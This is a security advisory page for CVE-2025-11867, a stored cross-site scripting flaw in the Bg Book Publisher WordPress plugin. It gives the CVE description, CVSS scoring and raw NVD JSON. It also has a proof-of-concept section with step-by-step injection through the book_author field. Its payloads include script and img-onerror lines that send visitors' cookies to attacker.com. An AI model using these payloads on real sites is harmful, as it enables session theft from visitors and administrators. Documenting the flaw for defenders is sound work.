Security Vulnerability Report
中文
CVE-2025-11867 CVSS 6.4 MEDIUM

CVE-2025-11867

Published: 2025-10-22 09:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Bg Book Publisher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `book_author` post meta, rendered through the `[book_author]` shortcode, in all versions up to, and including, 1.25. This is due to the plugin not properly escaping the meta value before output. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Bg Book Publisher <= 1.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-11867 Stored XSS via book_author post meta in Bg Book Publisher plugin --> <!-- Step 1: Login as Contributor or higher role --> <!-- Step 2: Create a new post of Book custom post type --> <!-- Step 3: In the book_author meta field, inject the following payload: --> <script>alert('CVE-2025-11867 XSS');document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Alternative payloads: --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <svg/onload=alert(document.domain)> <!-- Step 4: Save/Submit the post for review --> <!-- Step 5: Once published (or previewed by admin), the XSS payload executes --> <!-- in the browser of any user visiting the page containing --> <!-- the [book_author] shortcode --> <!-- Example shortcode usage in post content: --> [book_author] <!-- The plugin renders the unsanitized book_author meta value directly, causing the injected script to execute in the victim's browser context. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11867", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:35.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bg Book Publisher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `book_author` post meta, rendered through the `[book_author]` shortcode, in all versions up to, and including, 1.25. This is due to the plugin not properly escaping the meta value before output. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bg-book-publisher/tags/1.25/bg_bpub.php#L121", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/af181085-0a6b-4e87-b250-1fb4574d808d?source=cve", "source": "[email protected]"}]}}